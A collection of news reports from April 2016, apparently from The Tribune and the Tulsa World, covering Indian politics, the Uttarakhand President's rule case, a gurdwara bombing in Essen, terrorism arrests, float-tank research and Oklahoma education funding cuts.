The US famous pivot to Asia has been slower in the making, thanks to its preoccupations in the Middle East and other parts of the world, but a gradual US shift will be completed. In the meantime, Washington is implementing policies underlined by Defence Secretary Ashton Carters swing through India and the Philippines to shore up friends in the event of China seeking to challenge a traditional area of American influence.

There are not many alternatives New Delhi has in safeguarding its interests against China while seeking a saner relationship with a hostile Pakistan. NAM has long been a broken reed and while the nature of future agreements with the US can be debated, a closer defence relationship is inevitable. It is no secret that New Delhis deeper relationship with Vietnam is determined by the China factor on both sides.

Equally, Mr Modis efforts to build an equation with President Obama and Japans Prime Minister Shinzo Abe are guided by Indias need to buttress relations with two key countries. Besides, Australias strategic location and military capabilities have become a new factor in New Delhis strategic calculations. And these countries support Mr Modi because he is seen as a clearheaded leader who does not suffer from the liabilities of his predecessor who was saddled with a dual key leadership arrangement and had to cope with grasping coalition partners.

To an extent, geostrategic equations in the world are evolving and the nature of future logistic and other defence relations with the US will depend upon the scale of Chinas assertiveness, the compulsions of the next US President and the strength of other major countries such as India and Japan in coping with President Xi Jinpings ambitions.

It will be crucial for Mr Modi to build a new national consensus despite his BJPs and Sangh Parivars pursuit of a divisive domestic agenda promoting the denigration of Muslims in particular and endorsing a Hindutva campaign that sits ill with a diverse country of many faiths and beliefs. The problem is the ideological belief of the Sangh Parivar that its path to glory is the only one India should adopt.

For the critics of the Modi government, it would be well to recognise that the old world facing the Independence generation has gone and they must face the future with new realities. It was particularly distressing that Mr AK Antony, who held the defence portfolio in the UPA for long without distinction, should have made the statement he did.

According to Mr Antony, the logistical agreement with the US would open the door for India becoming part of American military bloc...There was pressure to sign such a pact when UPA was in power. But we resisted it because we felt it was against national interest. More predictably, the Communist Party of India (Marxist) Politburo declared, Unlike what Defence Minister says, refuelling, maintenance and repair facilities for American ships and airplanes will require stationing of US armed forces personnel on Indian soil on a regular basis.

The Communists miss the whole point of the changed world we live in. Americans are no longer untouchables and we need them to protect the countrys security.
Tribune News Service

New Delhi, April 22

Five cinema halls could not show the Santa Banta film as the protesting Shiromani Akali Dal (Badal) is demanding a ban on it since it has racial humour that shows Sikhs in poor light, said the party Delhi unit president and DSGMC head Manjit Singh (GK) .

He said that party activists today protested at five halls against the release of the film. As a result, the cinema owners could not show it.

GK led the protest team at Satyam Cinema at Nehru Place while former DSGMC president Avtar Singh Hit was at Miraj Cinema at Subhash Nagar in west Delhi. Former MLA Jatinder Singh Shunty with his team protested at Cross River Mall at Karkardooma while DSGMC members Hardev Singh Dhanoa, Kuldip Singh Sahni and Gurvinderpal Singh with their teams protested at Promenade Mall at Vasant Kunj in south Delhi.

Sikhs have been shown to be less intelligent in the film which cannot be tolerated. This kind of film will be opposed at every level and the Sikh community is ready to pay any price for stopping its screening, GK said.

He said that as many as 25 cinema halls have assured in writing that they would not show the film.

The protest was made only in Delhi, Faridabad and Mumbai. In other cities, Sikhs have not reacted which is somewhat shocking, said GK.
Tribune News Service

Chandigarh April 21

Finance Minister Capt Abhimanyu today questioned the Congress high command and its state leadership, including former Chief Minister Bhupinder Singh Hooda, as to why they remained silent during the recent Jat agitation in the state.

Addressing a press conference here today, Capt Abhimanyu also questioned as to why Congress vice-president Rahul Gandhi, who had a habit of visiting the spot in the event of any small happening, remained mum when Haryana was burning.

Describing the incidents of arson at his house, school and other establishments in Rohtak during the Jat agitation as a political conspiracy, he said the evidence and proof emerging during the investigation process clearly indicated a political conspiracy behind the incident. Those who had come under the scanner had direct relations with a special group in that political party. He blamed that the Congress was trying to use Sudeep Kalkal politically whereas Kalkal had also worked as a manager in an establishment of the former Chief Minister. Apart from this, it was during the tenure of previous government that Sudeep Kalkals wife was given the job as a professor in Bhagat Phool Singh Mahila Vishwavidyalaya, Khanpur Kalan, while his mother-in-law was appointed as a member of the consumer court, Sonepat. The Finance Minister made it clear that the BJP had nothing to do with Kalkal.

Capt Abhimanyu said besides Hoodas former political adviser Virender Singh, many other names had surfaced during the investigation. Abhimanyu said Hooda should reveal his relations with Mahender Hooda, another accused. Similarly, Abhimnyu also questioned the relation Gaurav Budhwar had with Congress spokesman Krishan Moorti Hooda. The FM also raised questions about Sombir and Jasbir of Jasiya village who remained posted as security personnel with Rohtak MP Deepender Hooda for 10 years.

Abhimanyu expressed surprise that more than 80 per cent people of an assembly constituency associated themselves with the reservation agitation whereas they had no association with various Jat organisations for years. Similarly, arson and violence occurred in Jhajjar and Beri whereas nothing happened in Bahadurgarh and Badli. Likewise, violent incidents occurred in Kalanaur and Meham. Abhimanyu also questioned the role of public representatives in Gohana and Gannaur.
Rohtak, April 22

A 60-year-old Congress leader was on Friday shot dead allegedly by three assailants when he was out on a morning walk here.

The police suspect that the victim, Ashok Kaka, could have been killed over some land dispute.

"He is a Congress leader. At one time, he used to be head of Railway Road Market Association here and probably also had a jewellery outlet there. He was attacked by three assailants when he was on a morning walk in a park," said Rohtak SSP Shashank Anand.

The SSP said that Ashok was rushed to PGIMS at Rohtak, where he was declared dead on arrival.

Asked what could be the motive behind the killing, he said, "We have got some information that he had some land dispute with his brother. There is also information that he had a land dispute with another party. We are trying to develop these pieces of information as we investigate the case.

He said that a case under relevant provisions of the law has been registered in connection with the incident. PTI/TNS
Tribune News Service

Shimla, April 22

The HP Tourism and Civil Aviation Department has targeted the Travel mart-2016 to rope in investors to market its mountains for adventure tourism and monuments and monasteries for religious and cultural tourism. The mart will be kicked off tomorrow by Chief Minister.

While eight states will exhibit their tourism products, buyers and tourism traders from the USA, Germany, the UK, France, Bulgaria, South Africa, Ukraine, Australia, the UAE and Nepal will participate in the three-day Travel mart on The Ridge, said Major Vijai Singh Mankotia, Chairman, HP Tourism Development Board, here today.

The main focus of the mart is to sell Himachal as peaceful destination of beautiful mountains, rivers and lakes and valleys for trekkers, bikers, mountaineers, rafters and paragliders and nature lovers. We also seek to promote the Buddhist tourist circuit in Kinnaur and Lahaul-Spiti and Ladakh with the help of the J and K Government, he added.

Himachal seeks to reach out to domestic and foreign tourist markets. We will seek online proposals from investors for the promotion of tourism projects, he told mediapersons. To promote domestic tourism, Himachal is tapping the markets of Mumbai, Bengaluru, Delhi, Punjab, Rajasthan, Goa and West Bengal, Mankotia said.

Takes a dig at Centre

Mankotia took a dig at the Centre saying that the recent Supreme Court judgment directing the latter to resume air flights to Shimla has come a major boost for tourism. Had the Centre paid heed to the states repeated requests to resume flights, it would have not invited the wrath of the apex court, Mankotia said. The court order has vindicated the states stand.
Berlin, April 22

An explosion at a gurdwara in Germanys Essen city was a terror attack carried out by radical Islamists, the authorities have said.

After the interrogation of two detained teenagers, the investigators were of the view that the blast was a religious motivated terror of the Islamist scene, Police Commissioner Frank Richter said.

The blast ripped through the entrance hall on April 16 during a wedding ceremony and severely damaged part of the building besides shattering windows and injuring three persons, including the gurdwara priest.

Interior minister of the state of North Rhine Westphalia Ralf Jaeger spoke of an Islamic background to the blast and called for a thorough investigation to establish to what extent the two youths were radicalised by jihadists. It also must be investigated who are the other persons with whom the two terror suspects had contacts.

Jaeger said it was entirely new that the Sikh community in the country had become the target of a terror attack.  PTI
R Sedhuraman

Legal Correspondent

New Delhi, April 21

The Uttarakhand High Court verdict today reviving the dismissed Congress government in the state would bolster peoples faith in democracy, particularly the judiciary, and check the frequent misuse of Article 356 for imposition of Presidents rule, legal experts said.

It will reinforce the values of Parliamentary democracy and common mans faith in the judiciary, senior advocate KV Viswanathan said. It would also serve as a stern warning to the Centre, irrespective of which party was in power, against transgressing Constitutional values and principles.

This was the first time the Indian judiciary had revived a dismissed government and this reminded of Pakistan Supreme Courts 10-1 majority verdict in May 1993 reinstating Nawaz Sharif as the Prime Minister who had been sacked by the President, Viswanathan said.

Echoing similar sentiments, Constitutional expert CS Vaidyanathan said the floor test was the sole option in a democracy to test the strength of any government in the event of a doubt over its majority status.

After quashing the Presidents rule and restoring the Harish Rawat government in Uttarakhand, the HC has directed him to prove majority on April 29.

In the past, high courts and the SC had struck down imposition of Presidents rule in various states, but refused to restore the dismissed state governments in view of subsequent developments such as completion of fresh elections that came in the way of any effective court order.

On earlier occasions, the HCs used to take time to decide, experts pointed out. In the case of Uttarakhand, the HC was conscious of the need for expeditious hearing which resulted in todays ruling, they noted. No ruling dispensation at the Centre should use Article 356 as a political tool to dismiss their opponents in charge in states, the experts felt.

The ousting of the Uttarakhand Government had come close on the heels of similar action in Arunachal Pradesh where the Congress was in power. The Arunachal case is pending in the SC, which has reserved its judgment. However, a new government has already replaced the dismissed regime there.

Argument & strategy

Bharatiya Janata Party

The party contends the Speaker illegally declared the state budget passed on March 18 by declining division of votes sought by 27 BJP and nine rebel Congress legislators

The BJP-led NDA govt has decided to challenge the verdict in the SC on Friday. The party said the dismissed government was and is in minority

CONGRESS

The party claims the rebels were rightly disqualified as, while being in the Congress, they signed against their own government on the letter head of Leader of Opposition Ajay Bhatt on March 18 during the passage of Budget

AICC general secretaries will meet in Delhi on Friday to discuss the fallout of verdict and plan a national-level protest against the BJP Government

Aam Aadmi Party

Party national convener Arvind Kejriwal sharpened the attack on Prime Minister Narendra Modi saying he should stop meddling in the functioning of elected governments and respect democracy

Likely floor scenarios

1) In a 70-member House, the ruling Congress will need at least 35 legislators to win the floor test

2) But in case the HC refuses to revoke the disqualification of nine rebel Congress MLAs, the strength of the Assembly will fall from 70 to 61. In this case, the Congress will need just 31 MLAs to prove majority

3) Rawat had earlier paraded 34 MLAs in front of the Governor and Assembly has a nominated MLA too; if he still has the support, he wins

April 29 D-Day in the Assembly
Naveen S Garewal

Tribune News Service

Chandigarh, April 21

The BJP Government in Haryana has decided to strip former Congress Chief Minister Bhupinder Singh Hooda of his Cabinet Minister status for his alleged role in the Jat reservation stir. Various political parties have been accusing one another of instigating violence during the agitation.

The trigger was the Congress releasing photos of a BJP man accused of arson attending a dinner hosted by Chief Minister ML Khattar at his residence. An angry BJP minister sought action against Hooda. Leader of the Opposition Abhay Chautala too wrote to the CM against Cabinet rank for Hooda.

The government is divided on the technicality of the matter and is yet to send a letter to Hooda. A minister said the CMs signatures are enough to implement the decision, but other ministers feel the Cabinet alone can put the final stamp.

There has been no practice to accord the status of Cabinet Minister to a former CM. Hooda made this provision at the end of his term when his ouster was imminent, a minister said. The then Congress Government had in June 2013 decided to provide facilities of a Cabinet Minister to former CMs at Chandigarh. The aim was to help Hukam Singh, CM for a brief period during 1990-91. The government cited the example of Rajasthan, Uttar Pradesh and Chhattisgarh that provide rent-free accommodation to former CMs.

Hooda has been allotted a government bungalow, given an official car and a staff of six. His security will now be downgraded to Y category and he will lose one of the two escort vehicles.

When contacted, Hooda said: It does not matter as long as I have the love and affection of the people who can see through petty politics. Om Prakash Chautala is the only other surviving former CM, but convicted in a job scam, he is in jail. Abhay Chautalas letter to the CM said that by allotting government accommodation to former CMs, the state exchequer was unnecessarily being burdened.

He also cited Hoodas alleged role of aiding and abetting unruly elements during the reservation stir.
New Delhi, April 22

An invitation to a leading Chinese dissident to participate in a conference in Dharamsala next week could develop into another irritant between India and China.

Dolkun Isa, a leader of World Uyghur Congress (WUC) who lives in Germany, has been invited to the conference being organised by the US-based Initiatives for China. Uyghurs and many other Chinese dissidents in exile are expected to attend and discuss democratic transformation in China.

Chinas unhappiness about reports that Dolkun has been given the visa was reflected in Chinese Foreign Ministry spokesperson Hua Chunying saying, What I want to point out is that Dolkun is a terrorist in red notice of the Interpol and Chinese police. Bringing him to justice is due obligation of relevant countries.

When asked about the issue, External Affairs Ministry spokesperson Vikas Swarup today said, We have seen the media reports and External Affairs Ministry is trying to ascertain the facts.

Dolkun has been quoted by media as saying he would take a final call on attending the event only after assessing his security in India.  PTI
Rajmeet Singh

Tribune News Service

Chandigarh, April 22



Punjab Pradesh Congress Committee president Capt Amarinder Singh has lodged a strong protest with the Canadian Government over the denial of permission to hold interactive meetings with the Punjabis in Toronto and Vancouver.



It feels like a gag order that has left a very bad taste, more so, when issued by a democratic government like the Canadian, he said.

In a strongly worded letter to the Canadian Prime Minister Justin Trudeau, quoting Canadian constitution to argue his point, Capt Amarinder said, he was disappointed over the gag order that has left a bad taste.

He sought to know the grounds on which the permission had been denied to him.

Following a complaint by an America-based group, under the provisions of Global Affairs of Canada (GAC), the Canadian Government had asked Capt Amarinder not to attend the programmes hosted by the Canadian citizens of Indian origin.

The GAC policy, which has been invoked to deny him permission, mentions that the Canadian Government will not allow foreign governments to conduct election campaigns in Canada or establish foreign political parties and movements in Canada.

Capt Amarinder clarified that he neither represented any government at the moment, nor was he organising any election campaign since there are no elections scheduled in Punjab right now or in immediate future. Besides, he added, he had no intention or purpose to establish any political party or movement in Canada.

The programme had been organised by the local Canadian citizens, who were entitled to various fundamental freedoms in accordance with the Canadian constitution. He pointed out that he was there to be as their guest only.

He said that he had planned to visit Canada to interact with my fellow Punjabis at personal level to learn about their experiences and seek their opinions.

"They, being the citizens of Canada, do not have any voting rights in India," he said.

Asserting that his governments order undermined the fundamental freedoms guaranteed in the Canadian constitution, he said, it was not only he who had been denied these freedoms.

The order has denied the freedom of expression, peaceful assembly and association, to the Canadian citizens, who are the same people who have immensely contributed towards building up this beautiful country and you have yourself acknowledged that," read the Capt's letter to Prime Minister Trudeau.
Tribune News Service

Jalandhar, April 22

The Union Ministry of External Affairs (MEA) is yet to ascertain the well-being of 39 Punjabi youths who were kidnapped by ISIS insurgents on June 14, 2014, in Iraq.

Minister of State for External Affairs General VK Singh (retd) on Friday said though the Centre was making all possible efforts to trace their location, it was yet to establish direct contact with them.

We have not received any adverse report so far, but have got confirmed reports about their well-being from various sources present in the strife-torn area of Iraq, said Gen Singh. He was in the city today to attend the annual convocation of KMV College.

When asked whether the safety claim was based on some eye-witness accounts or mere assumptions of some reliable sources, Gen VK Singh said that as the area in occupied by adverse forces, it was presently difficult for the Indian Government to track the exact location of the kidnapped youths and has to rely on whatever source it can get hold of.

On the rising number of illegal migration cases in Punjab, Gen Singh said a well-oiled network of illegal agents was rampant in the state as the thanedaari (Punjab Police) here lacks the will to curb it.

Every reform is possible if the thanedaari system wants to do it. A well-oiled illegal immigration network is running in Punjab and palms are greased well, said Gen VK Singh.
SMA Kazmi

Tribune News Service

Dehradun, April 22

In a quick turn of events, the Supreme Court today reversed the Uttarakhand High Court order and re-imposed Presidents rule. However, the focus has shifted to the loyalty of the six-member Progressive Democratic Front (PDF) and on the fate of the nine rebel Congress legislators who stand disqualified by Speaker Govind Singh Kunjwal under the Anti-Defection Law.

Both the Congress as well as the BJP are eyeing the PDF legislators, besides awaiting the verdict of the Uttarakhand High Court, which would be hearing the petition of the rebel Congress legislators against their disqualification tomorrow.

Both parties are trying to protect their flock from possible poaching by the other ahead of the floor test on April 29. The parties are also awaiting the verdict of the Supreme Court, which would hear the case again on April 27.

Ambika Soni, Congress General Secretary and in charge of party affairs in the state, arrived in Dehradun today and held a meeting with Congress legislators. Four out of six PDF legislators were also present at the lunch meeting with her. Two Bahujan Samaj Party (BSP) legislators, namely Sarvat Karim Ansari and Hari Dass, didnt attend the meeting. However, all six PDF legislators had at a meeting held two days ago pledged their support to the Harish Rawat government .

Interestingly, the nine rebel legislators moved the Supreme Court with a prayer to demand a right to vote in the floor test, ordered by the high court to be held on April 29. A single Bench of Justice UC Dhyani would hear the petition of the rebel Congress legislators who had challenged the decision of their disqualification.

Any relief to the rebel legislators would be detrimental for the Harish Rawat government, which would then be in minority.

However, Congress leaders are optimistic that it was highly unlikely that the court would give any relief to the rebels.

On the other hand, if the PDF remains united behind Harish Rawat and nine rebel Congress legislators stand disqualified, the Congress government would sail through the floor test with the effective strength of 61 legislators of the House.
Berlin, April 22

An explosion at a gurdwara in Germanys Essen city was a terror attack carried out by radical Islamists, authorities have said for the first time, terming it as an entirely new strike targeting the Sikhs.

After the interrogation of two detained teenagers, the investigators hold the view that the blast was a religious motivated terror of the Islamist scene, Essens police commissioner Frank Richter had said yesterday.

The blast ripped through the entrance hall of the gurdwara on April 16 during a wedding ceremony and severely damaged part of the building besides shattering windowpanes and injuring three persons, including the gurdwara priest.

Interior minister of the state of North Rhine Westphalia Ralf Jaeger spoke of an Islamic background to the blast and called for a thorough investigation to establish to what extent the two youths were radicalised by jihadists.

It also must be investigated who are the other persons with whom the two terror suspects had contacts, he said.

Jaeger said it was entirely new that the Sikh community in this country has become the target of a terror attack.

The two terror suspects affiliation to a particular group cannot be established at the present stage of the investigation, Richter told a news conference in Essen.

German TV network ARD yesterday reported that one of the two men arrested, identified by the police as Yusuf T, is an Islamic State (IS) sympathiser and investigators treat him as the main suspect in the attack.

He is known to the authorities as an activist in the Islamist scene in the Ruhr region of NRW. He also has close links to Lohberger-Brigade, an alliance of radical Islamists in the town of Dinslaken, the report said.

Photos and video sequences of CCTV footage showing the two men released by the police on Wednesday helped the authorities to apprehend them, Richter said.

They are believed to have planted an explosive device hidden in a backpack in the entrance hall of the gurdwara. It went off at the end of the marriage ceremony.

Around 70 police officials are working round-the-clock to investigate the entire background of the attack and to evaluate large amount of evidences collected.

More arrests in this connection cannot be ruled out, Richter said.

He assured the Sikh community that they can feel secure in the city and the authorities would do everything to protect them.  PTI
Bamako, April 22

A Mauritanian man suspected of planning and carrying out deadly attacks on popular tourist venues in Mali last year has been arrested in the Malian capital Bamako, security sources said on Friday.

Detained on Thursday in a Bamako suburb, the man is believed to have taken part in attacks in March, August and November that left more than 30 people dead , including a deadly assault on the upmarket Radisson Blu hotel he allegedly masterminded.

"He was planning to stage an attack on western targets this weekend in Bamako," a source said.

The suspected is believed to attacked a bar and restaurant in Bamako in March 2015 in which five people died, including two foreigners, the sources said.

He is also suspected of planning deadly assaults on the upmarket Radisson Blu hotel in Bamako in November that left 20 dead and the Byblos hotel in central Mali in August, where 13 people died.

A security source close to the investigation said the Mauritanian had also been involved in a failed attack in March 21 this year on the Azalai Nord-Sud hotel in Bamako, where the EU mission is based.

Code-named "Ibrahim number 10", the suspect was "the shooter at La Terrasse", and he planned the Radisson Blu, Sevare and Nord-Sud attacks, the source said.

"He quickly confessed after his arrest yesterday (Thursday) at around 8:00 pm (2000 GMT)," the source added.

"He had arrived in Bamako on April 16 to carry out more attacks, and he spent several days in Mali without being detected," he said.

Another security source said weapons and grenades were found at the suspect's home in Bamako.

The March 7, 2015 grenade and gun attack on La Terrasse bar left five people dead -- three Malians, a Belgian and a Frenchman. It was claimed by an affiliate of Al-Qaeda in the Islamic Maghreb (AQIM), the jihadist group's North African branch.

The November 20 attack on the Radisson Blu left 20 people dead, including 14 foreigners. AQIM also claimed responsibility for the assault.

The August attack on the Byblos hotel in Sevare killed four foreign employees of the UN Mission in Mali (MINUSMA).  AFP
Peshawar April 22

A prominent Pakistani Sikh doctor and politician was shot dead by unidentified gunmen here today.

Sardar Sooran Singh, who was also the Special Assistant to Chief Minister Khyber Pakhtunkhwa on Minority Affairs, was assassinated in Pir Baba area of Buner District of the province, the police said.

The car of Singh was ambushed by unknown assailants on main road near a shrine.

The body of the special assistant has been shifted to the district headquarters hospital for postmortem, the police said.

The Deputy Commissioner, ADC Buner and police officials rushed to the site.

Singh was a doctor, TV anchor, politician and Minister of Minorities of Khyber Pakhtunkhwa.

Before joining Pakistan Tehreek-e-Insaf (PTI) in 2011 he was a member of Jamaat-e-Islami Pakistan for nine years.

Singh was PTI Member of the Provincial Assembly (MPA) elected from District Buner.

He was also member of Tehsil council, Pakistan Sikh Gurdwara Prabandhak Committee and Evacuee Trust Property Board.

Singh also hosted programme Za Hum Pakistani Yam for three and a half years with Khyber News.  PTI
Justin Feinstein is leading the worlds first research on the impact that floating has on the human brain. In addition to Feinsteins role as the director of the Float Clinic and Research Center at the Laureate Institute for Brain Research, the clinical neuropsychologist also holds a post as an Assistant Professor at the new Oxley College of Health Sciences at the University of Tulsa.

The clinic opened its doors in May 2015, and the team is currently in the midst of examining data from the recently completed first study and has begun recruiting for a second study that will begin this summer. Both studies examine the effects of floating on the healthy brain, but after that baseline work is complete the team will begin focusing on clinical populations  for example, the impact that the float experience could have on people who have been diagnosed with anxiety, eating disorders or PTSD.

Feinstein, who has a breadth of knowledge of the industry, sat down to talk with the Tulsa World after a tour of the center last week.

Note: The Float Clinic is a laboratory that conducts scientific research, so people cannot pay to float there like they can (or will) be able to at Recover, H2Oasis and Five Horizons Spa. However, Feinstein offered me the opportunity to float Wednesday so that I could experience the practice before writing about it.

The 60-minute float was great. After what Id imagine was about 15 minutes of drifting in circles, I was able to totally relax. I even fell asleep in the water. As I write this a day later, Im still feeling pretty chill.

When and where did floating get its start?

Floating has been around in earnest since the 50s when it was invented in Oklahoma. If you try to read through some of the history a name that keeps coming up is John Lilly, but the actual inventor of the float tank was Jay Shurley, who was a psychiatrist at the Oklahoma City Veterans Administration.

Shurley and Lilly kind of came up with the idea together, but it was Shurley who actually enacted it and built the first float tank at the VA hospital in 1957. That tank was a vertical float tank. You were immersed vertically with a big sort of space helmet on, with breathing tubes coming in and breathing tubes coming out. As you could imagine, not many people wanted to volunteer for this. Most of Shurleys subjects were NASA astronauts, this was the late 1950s, early 60s during the race to the moon.

What happened to floating after that research with NASA ended?

Shurleys lab shut down in the early 1970s. Right around that time is when the horizontal version of the float tank started coming out, and it became almost unnecessary to go through the lengths that it took to do the vertical float. The horizontal float tanks started coming out in the 1970s and started being manufactured so that people could open (float center) businesses. After the 1970s and 1980s floating started dying away, and it wasnt until 2010 or thereabouts that there has been a resurgence in this country.

Why do you think floating has taken off so much during the past five or six years?

Manufacturing has improved a lot. Some of the older models of float tanks maybe werent very conducive for the average person, they seemed somewhat claustrophobic.

And now, for example, with our pool you dont even have an enclosure. Its just wide open. I think that helped reduce the barrier to entry for a lot of people, just a better manufacturing or design of the pool itself.

And then on top of it, I do think western societies and America in particular have become more accepting of eastern traditions such as mindfulness, which have been around for thousands of years of course, and meditation as well. And in some ways the float environment creates almost the ideal environment for allowing people to focus on the present moment and enter into a mindfulness state. It automatically filters out all of the external distractions so you dont have to worry about hearing noises or seeing different things or worrying about pains in your body as youre sitting for long periods of time. It takes care of all of that for you and allows you to really just focus inwards on the sensations coming from your inner body, particularly the breath.

What are some of the benefits of floating?

If you look at the research that has been done on floating, the single most well-replicated finding is that this is a powerful form of stress reduction, and its not just subjective. Typically from pre- to post-float people will say I feel a lot less stressed, a lot less anxious. But physiologically, theres been a lot of work showing that floating reduces blood pressure, floating reduces heart rate, floating reduces levels of the stress hormone cortisol.

I think probably when you ask people anecdotally What do you feel? after a float the response that were finding to really characterize that state could be summed up by the word serenity. We actually have scales that measure this, but essentially serenity is a composite of how calm you feel, how relaxed you feel, how at ease you feel.

You can think of it sort of as a low-energy, positive state. Youre not euphoric in the sense that youre filled with energy. Youre just in this very calm, relaxed state.
OKLAHOMA CITY  Supporters of raising the state sales tax by 1 cent to support education turned in what they say is a historic number of signatures Thursday to get a measure on the ballot.

Backers of State Question 779 delivered more than 300,000 signatures, well over the 124,725 needed, to the Oklahoma Secretary of States office.

Theyre aiming for the measure to be on the Nov. 8 ballot.

University of Oklahoma President David Boren, who led the effort, said the number of signatures collected was the most in state history, and the process was accomplished a full month ahead of the 90-day period required by law.

The revenue would pay for a $5,000 teacher raise and for programs in common education, CareerTech and higher education, Boren said.

With a $1.3 billion budget hole and the largest cuts in the nation since 2008, the only way forward is a comprehensive solution, said Amber England, executive director of Stand for Children Oklahoma. Were excited and energized by the number of signatures were turning in today. Oklahomans are with us and are ready to step up and solve this issue.

Boren called the Yes for 779 campaign a bi-partisan effort with broad spectrum support.

Oklahomans will not stand by while the system of public education is being destroyed, he said, and the tax increase would be a real chance to solve the crisis.

We are not going to take it any longer, he said. Enough is enough.

He called it a moral issue, saying it is morally wrong not to educate children.

The added revenue would end the state teacher shortage and help keep great teachers for coming generations, Boren said.

Today, this is the first step, Boren said. It is a historic step.

Voter approval of State Question 779 would create the constitutionally protected Education Improvement Fund, which would invest about $615 million a year in education.

Common education would receive 69.5 percent of the money to increase teacher pay, while funds also would be provided for local districts to address the teacher shortage through performance and differential pay for hard-to-fill posts.

Oklahoma colleges and universities would receive 19.25 percent of the revenue to address rising tuition costs and to increase college completion rates.

Another 8 percent would go for grants for early learning opportunities for low-income and at-risk children.

The remaining 3.25 percent would go to increase workforce readiness and expand industry certifications for Oklahoma businesses through CareerTech.

Senate Pro Tem Brian Bingman, R-Sapulpa, was asked about the proposal at his weekly press availability session.

Adding 1 cent to the sales tax affects all communities, cities and towns because the tax is their main revenue generator, Bingman said.

Increasing it by a cent for the education proposal would put an additional burden on communities that make proposals for certain projects, he said.

This directs money in a different direction, Bingman said. We all know the needs of higher education and common education. I wish there was another way we could come up with an alternative plan. It is difficult in this environment.
OKLAHOMA CITY  Blacks and American Indians have a history of trouble with alcohol and should vote against changes to state laws regulating its sale, a state lawmaker told the Oklahoma House of Representatives on Thursday afternoon.

State Rep. Todd Russ, R-Cordell, a passionate teetotaler who had a close family member who was killed in an alcohol-related automobile crash, was in the midst of an emotional argument against Senate Joint Resolution 68 when he implored the Native American Caucus to vote against the measure because whites exploited Indians "at the rim of the alcohol bottle."

Russ then suggested that the African American Caucus should also oppose the resolution because of alcohol-related problems.

Rep. Dan Kirby, R-Tulsa, a member of the Creek Nation, took the floor after Russ finished to take exception with his characterization of Indians.

Rep. Mike Shelton, R-Oklahoma City, followed with a protest against Russ' use of "stereotypes."

SJR 68, a proposed state constitutional amendment that would go to a vote of the people, passed 61-30 and now goes to a conference committee.
The idea that Carnegie Elementary School could lose some of its beloved teachers to budget cuts has literally brought some fourth-graders to tears.

But one student, 9-year-old Rayleigh Henson, decided she and her classmates should channel their upset into action.

Last year, I read a book in the American Girl series about a girl who did a petition to try to play on a boys basketball team, Rayleigh said. When I heard about the budget cuts to Oklahomas education system, I was thinking I might want to do a petition.

That idea, as it turned out, was just the seed for something that has quickly grown into a fourth-grader-driven political action movement at Carnegie.

Rayleigh sent her petition forms home with every single child in the building, asking them to be returned with at least five signatures. Next, she and her mother set up a website, StoptheHurtOK.com, where Rayleigh is selling T-shirts for $10 and soliciting donations to help Tulsa Public Schools offset the districts anticipated $20 million budget cut.

The shirts will say, It takes more than one to stop the hurt, Rayleigh said. The hurt are the budget cuts, and Im the one. Im the one person to stop the hurt, and we need more than one person to do that.

What do fourth-graders understand about the scope of the problem?

A quick class poll of what $20 million could buy produced answers including a prototype space craft, a rich house, a Broadway show, a yacht and even the Biltmore Estate.

Rayleigh wasnt clear on how much the cost of producing the shirts would take away from the proceeds, but she proudly declared, Weve already sold like 26 or 27 T-shirts and pointed out her classmate, Claire, had raised almost enough money to buy two more.

The deadline for orders is 6 p.m. Monday, and the shirts will be available for pickup at Carnegie, 4309 E. 56th St., about two weeks later.

As Rayleigh and her classmates in Cathy Essleys fourth-grade social studies wrote letters to their representatives and senators in the state Leglislature on Friday, Essley and Principal Robin Emerson marveled at the students efforts.

Emerson also confessed, with pangs of guilt, that an April Fools Day joke may have spurred Rayleigh into action.

Because Essley looped with the same group of students, the term used in education for the practice of having a teachers stay with a class for more than one year, its a particularly tight-knit group.

The fourth-graders had reveled in a number of silly, lighthearted pranks and jokes already April 1 when Emerson improvised a joke about the budget cuts that went horribly awry.

They have already heard so much information about the budget cuts, and theyre so, so close with Ms. Essley, that I thought it would be funny to tell them that Ms. Essley wouldnt be coming back next year, Emerson said, cringing as she recalled the moment. Ms. Essley had already started taking things down off the walls to get ready for state testing, so they didnt realize I was joking, and before I knew it, there were tears everywhere.

Rayleigh noted, I was one of the 10 in this classroom that literally cried.

Emerson said she is grateful the students were so forgiving about her bad joke, but shes not sorry it led to this outcome.

I feel horrible about playing that joke on them, but it just turned into something amazing, she said.
OKLAHOMA CITY  His voice cracking with emotion Thursday morning, University of Oklahoma President David Boren accused lawmakers of sabotaging the states future by slashing higher education budgets.

Its morally wrong what we are doing to the next generation here in Oklahoma, he told the State Regents for Higher Education.

State colleges and universities have faced a series of budget cuts since last July adding up to more than $112 million, or 11 percent of state funding, the regents reported. In fact, revenue has been dwindling since the recession of 2008, with higher education spending down more than $175 million even as total enrollment in state colleges has grown by more than 17,000.

Those students are going to rely on their degrees to make themselves attractive in the national job market and to lure more jobs to Oklahoma, Boren said. But the funding shortage could put them at a disadvantage to students in other states, he said.

The future of Oklahoma really hangs in the balance, Boren said, before sarcastically offering to sell the Brooklyn Bridge to any legislator who believes higher education can absorb the cuts without affecting the quality of education that students are receiving.

The regents spent more than 90 minutes listening to Boren and several other college and university presidents describe the cuts they have been forced to make in recent months  ranging from faculty furloughs and staff layoffs to closing degree programs and suspending athletic programs.

Factoring in budget cuts and rising fixed costs, OU effectively operates on $150 million a year less now than it did in 2008, even with more than 1,000 additional students on campus, Boren said.

We simply cant pretend that were going to get through this with better efficiency and not affect the quality of education, he said.

Smaller colleges have been hit even harder, with campuses reducing faculty, closing degree programs and reducing student services, officials told the regents.

Were past the point of making tough decisions, said East Central University President John Hargrave. Were making gut-wrenching decisions.

Regents blamed higher educations dependence on oil revenues for the disproportionate budget cuts, and they called on the Legislature to do more to shield state colleges and universities.

We know cuts are necessary given the states budget crisis, said state higher education Chancellor Glen Johnson. But drastic cuts are coming very close to jeopardizing the quality of higher education, he said.

Tuition would have to increase more than 20 percent to offset the latest reductions in state funding, which isnt practical and would drive students out of the state, said Oklahoma State University President Burns Hargis.

But strained university budgets are already driving students and faculty out of Oklahoma, many never to return, he said.

Youre cutting into the very thing that youre looking for more of, which is economic development in Oklahoma, Hargis said. Youre cutting the very thing thats going to make Oklahoma stronger.
OKLAHOMA CITY  Paul English, a former Tulsa World Capitol Bureau reporter known for his tenacious questioning of state officials during a 50-year career, has died after a long illness. He was 79.

Paul was one of the best newsmen I have ever known, said longtime colleague John Greiner.

Paul was a tireless worker, often staying late into the night to work on stories, particularly investigative stories, for which he won several journalism awards, Greiner said.

